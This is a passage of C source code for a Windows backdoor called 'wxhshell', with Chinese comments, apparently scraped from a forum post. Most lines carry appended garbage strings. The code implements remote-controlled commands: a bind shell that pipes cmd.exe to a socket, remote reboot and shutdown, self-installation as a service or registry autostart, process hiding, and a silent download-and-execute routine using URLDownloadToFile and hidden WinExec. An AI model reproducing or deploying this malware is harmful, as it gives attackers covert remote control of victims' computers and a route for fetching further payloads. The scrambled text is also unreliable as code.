  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;"K;D@xzh]  
  } _P{f+HxU  
  else { !Enq2  
nde_%d$  
    switch(cmd[0]) { O8Dav^\y?  
  h7"c_=w+  
  // 帮助 ,|RN?1?U  
  case '?': { L HW\A8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 9{KL^O?g  
    break; * ",/7(  
  }  nLD1j  
  // 安装 +>}LT_  
  case 'i': { a7@':Rb n  
    if(Install()) <9bfX 91  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  J^V}%N".  
    else a-bj! Rs  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Gc4mwu  
    break; {KGEv%  
    } }nUq=@ej  
  // 卸载 YstR T1  
  case 'r': { N xW Dw  
    if(Uninstall()) QHDR* tB:{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Oo0SDWI`(  
    else 8 v}B-cS  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B{ Ab #  
    break; L~+/LV  
    } -^aJ}[uaI  
  // 显示 wxhshell 所在路径 K2> CR$L  
  case 'p': { @=sM')f&  
    char svExeFile[MAX_PATH]; 1PB"1.wnd  
    strcpy(svExeFile,"\n\r"); H[_i=X3-~  
      strcat(svExeFile,ExeFile); 1.tAl6]  
        send(wsh,svExeFile,strlen(svExeFile),0); lsaA    
    break; 4`GOBX1b.y  
    } N<PDQ  
  // 重启 @xXVJWEU:  
  case 'b': { z?^oy.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); :N^+!,i  
    if(Boot(REBOOT)) Yu$QL@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ \]?5 nj  
    else { w *M&@+3I  
    closesocket(wsh); (Z0_e&=*  
    ExitThread(0); AP:Q]A6}  
    } ; ,}Dh/&E  
    break; ]t0St~qUL)  
    } v YJ9G"E  
  // 关机 7 x'2  
  case 'd': { UCt}\IJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); N[r Ab*iT  
    if(Boot(SHUTDOWN)) AP1&TQ,&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eIJ>bM  
    else { Z)}UCi+/".  
    closesocket(wsh); i\,I)S%yJ  
    ExitThread(0); K9{RU4<  
    } ?I[*{}@n"  
    break; ]OtnekkK$  
    } o "6 2~  
  // 获取shell yQ)&u+r  
  case 's': { _%[po%]  
    CmdShell(wsh); 31~nay15  
    closesocket(wsh); Cz)&R^  
    ExitThread(0); 6O <UW.  
    break; &7i&"TNptP  
  } r'`7}@H*  
  // 退出 q3<kr<SP  
  case 'x': { R RE8|%p;B  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F"bz<{  
    CloseIt(wsh); q)mG6Su d  
    break; au04F]-|j8  
    } QtwQVOK  
  // 离开 xeL"FzF:V  
  case 'q': { kU+|QBA@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); pCDN9*0/  
    closesocket(wsh); (6.uNLr  
    WSACleanup(); R8cOb*D  
    exit(1); 9vz\R-un  
    break; @ 5^nrB  
        } 6Cz O ztn  
  } 0$]iRE;O]  
  } 43pe6 ^.  
u4_QLf@I  
  // 提示信息 5Yhcnwdm!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P`ou:M{8  
} i84!x%|P  
  } jM&di  
&iInru3  
  return; R0}1:1}$Sn  
} 'w27Lt'V  
b,^Gj]7  
// shell模块句柄 mUbm3JIjJ  
int CmdShell(SOCKET sock) `0N7Gc  
{ 0_eqO'"  
STARTUPINFO si; {G Jl<G1  
ZeroMemory(&si,sizeof(si)); QXZyiJX}  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >UMxlvTg&  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; {$,\Qg  
PROCESS_INFORMATION ProcessInfo; P+0'^:J  
char cmdline[]="cmd"; P&uSh?[ ^  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1!KROes4  
  return 0; 0eNdKE  
} iCPm7AU  
b!P,+!<  
// 自身启动模式 755,=U8'wi  
int StartFromService(void) dgjK\pH`h  
{  ,\s`T O  
typedef struct uhh7Ft#H  
{ J(l\VvK  
  DWORD ExitStatus; 8i154#l+\  
  DWORD PebBaseAddress;  d 2d-Mk  
  DWORD AffinityMask; SHX`/  
  DWORD BasePriority; ^o{{kju  
  ULONG UniqueProcessId;  yf:Vhr  
  ULONG InheritedFromUniqueProcessId; s`jlE|jtN  
}   PROCESS_BASIC_INFORMATION; ^Hv&{r77  
-67Z!N  
PROCNTQSIP NtQueryInformationProcess; PjeI&@  
orFwy!  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; } Bf@69  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %dzt'uz  
WR{m?neE_N  
  HANDLE             hProcess; 5rows]EJJl  
  PROCESS_BASIC_INFORMATION pbi; Gr\ ]6  
"pM >TMAE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w$:\!FImx  
  if(NULL == hInst ) return 0; "[N2qJ}p  
d}\]!x3t  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m$p}cok#+S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _y~6b{T  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >qo!#vJc a  
x95s%29RS  
  if (!NtQueryInformationProcess) return 0; NPK;  
%J M$]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); qWhW4$7x  
  if(!hProcess) return 0; CP J21^  
5@2Rl>B$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; YB"gLv?  
9^XZ|`  
  CloseHandle(hProcess); LP"g(D2'n  
8\rca:cF   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?>;aD  
if(hProcess==NULL) return 0; G'\[dwD,u  
-TF},V~  
HMODULE hMod; )/jDt dI  
char procName[255]; TRi'l#m4  
unsigned long cbNeeded; rWTaCU^qV  
|Q /LC0?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); U4"^NLAq  
3+Lwtb}XPF  
  CloseHandle(hProcess); b-_l&;NWg  
th{f|fm62  
if(strstr(procName,"services")) return 1; // 以服务启动 M2Nh3ijr  
uVqc:Q"  
  return 0; // 注册表启动 PaaMh[OmG  
} @&m [w'tn  
ArtY;.cg%  
// 主模块 Xex7Lr&  
int StartWxhshell(LPSTR lpCmdLine) ! V.]mI  
{ }ppApJT  
  SOCKET wsl; HIc;Lc8$  
BOOL val=TRUE; }rJqMZ]w  
  int port=0; k9 r49lb  
  struct sockaddr_in door; ]V/5<O1  
u.2X "  
  if(wscfg.ws_autoins) Install(); Z?eTjkNS#  
x<l 5wh  
port=atoi(lpCmdLine); 5$U49j  
j EbmW*   
if(port<=0) port=wscfg.ws_port; ;l;jTb^l  
Vx!ZF+  
  WSADATA data; (Mfqzy  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ":eyf 3M  
e)H FI|>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   | d*<4-:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W>' DQB  
  door.sin_family = AF_INET; YMw,C:a4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #b d=G(o~6  
  door.sin_port = htons(port); efyEzL  
bmHj)^v 5]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { CRo @+p10  
closesocket(wsl); k x:+mF  
return 1; S8v,' Cc  
} Idu'+O4  
#`@)lU+/  
  if(listen(wsl,2) == INVALID_SOCKET) { ):Fg {7b]n  
closesocket(wsl); P=}l.R*1G  
return 1; A6KP(@   
} # 9bw'm  
  Wxhshell(wsl); pp|$y\ZzB  
  WSACleanup(); /\fR6|tJ  
\)*\$I\]  
return 0; Ks3YrKk;p  
Mprn7=I{Tg  
} HE*^!2f  
[Qr_0O  
// 以NT服务方式启动 #F/W_G7v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) l )r^|9{  
{ +v%+E{F$+  
DWORD   status = 0; h9d*N9!;M  
  DWORD   specificError = 0xfffffff; &xr(Kb  
5aVZ"h"  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2L<1]:I  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; &|IO+'_  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3Q&@l49q  
  serviceStatus.dwWin32ExitCode     = 0; 9a:(ab'  
  serviceStatus.dwServiceSpecificExitCode = 0; [g==#[  
  serviceStatus.dwCheckPoint       = 0; l(MjLXw5  
  serviceStatus.dwWaitHint       = 0; dM"5obEb  
<&+0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); u$qasII  
  if (hServiceStatusHandle==0) return; 0 Swu]OE  
./ tZ*sP:  
status = GetLastError(); #m{F*(%  
  if (status!=NO_ERROR) #.FhN x  
{ }w=|"a|,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; $LBgBH &z  
    serviceStatus.dwCheckPoint       = 0; IM,d6lN6s  
    serviceStatus.dwWaitHint       = 0; 1q ZnyJ  
    serviceStatus.dwWin32ExitCode     = status; i1{)\/f3  
    serviceStatus.dwServiceSpecificExitCode = specificError; 9G1ZW=83  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "6~+ -_:  
    return; p;%5o0{1  
  } &i805,lx  
eiA$) rzy  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >TGc0 z+  
  serviceStatus.dwCheckPoint       = 0; 8XCT[X  
  serviceStatus.dwWaitHint       = 0; A(XX2f!i  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U[pR `u  
} !(S.7#-r  
xyV7MW\?w  
// 处理NT服务事件,比如:启动、停止 3#uc+$[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Rto/-I0l  
{ >2'A~?%  
switch(fdwControl) P-Gp^JX8  
{ F${}n1D  
case SERVICE_CONTROL_STOP: : t D`e<  
  serviceStatus.dwWin32ExitCode = 0; e=!sMWx6  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; do.XMdit  
  serviceStatus.dwCheckPoint   = 0; %xX b5aY  
  serviceStatus.dwWaitHint     = 0; !6 kn>447Y  
  { 1O2V!?P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bdBLfWe  
  } 2/))Y\~  
  return; 'O 7>w%#  
case SERVICE_CONTROL_PAUSE: QqC-ztz  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; b-#oE{(\'  
  break; Tkj F /zv  
case SERVICE_CONTROL_CONTINUE: msq2/sS~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )ItW}1[I  
  break; #8WHIDS>  
case SERVICE_CONTROL_INTERROGATE: H@|m^1  
  break; bz`rSp8h  
}; Q ~eh_>"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R,l*@3Q  
} DnCIfda2g  
'kJyE9*xU.  
// 标准应用程序主函数 CE4Kc33OU|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Pp;OkI``[  
{ EO/TuKt  
cf\GC2+"^$  
// 获取操作系统版本 1,n\Osd  
OsIsNt=GetOsVer(); [KEw5-=i@  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `{ \)Wuw  
h\6 t\_^\  
  // 从命令行安装 `nd$6i^#W  
  if(strpbrk(lpCmdLine,"iI")) Install(); Om8Sgy?  
pWeD,!f  
  // 下载执行文件 yi<H }&  
if(wscfg.ws_downexe) { SS&G<3Ke  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Ki[&DvW:  
  WinExec(wscfg.ws_filenam,SW_HIDE); c`UizZ  
} 2t3)$\ylQp  
7\i> >  
if(!OsIsNt) { O}z-g&e.U  
// 如果时win9x,隐藏进程并且设置为注册表启动 QOv@rP/  
HideProc(); FY,)iZ}Pq  
StartWxhshell(lpCmdLine); 1Uc/ r>u9  
} SM.KM_%K  
else ,UxAHCR~9  
  if(StartFromService()) rDLgQ{Sea  
  // 以服务方式启动 }4q1"iMlO  
  StartServiceCtrlDispatcher(DispatchTable); 76cT}l&.h8  
else 2GRv%:rZ  
  // 普通方式启动 ._6Q "JAB  
  StartWxhshell(lpCmdLine); \[]4rXZN0  
b%xG^jUXsX  
return 0; 3#{Al[jq  
}
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只看该作者 1 发表于: 2006-10-10
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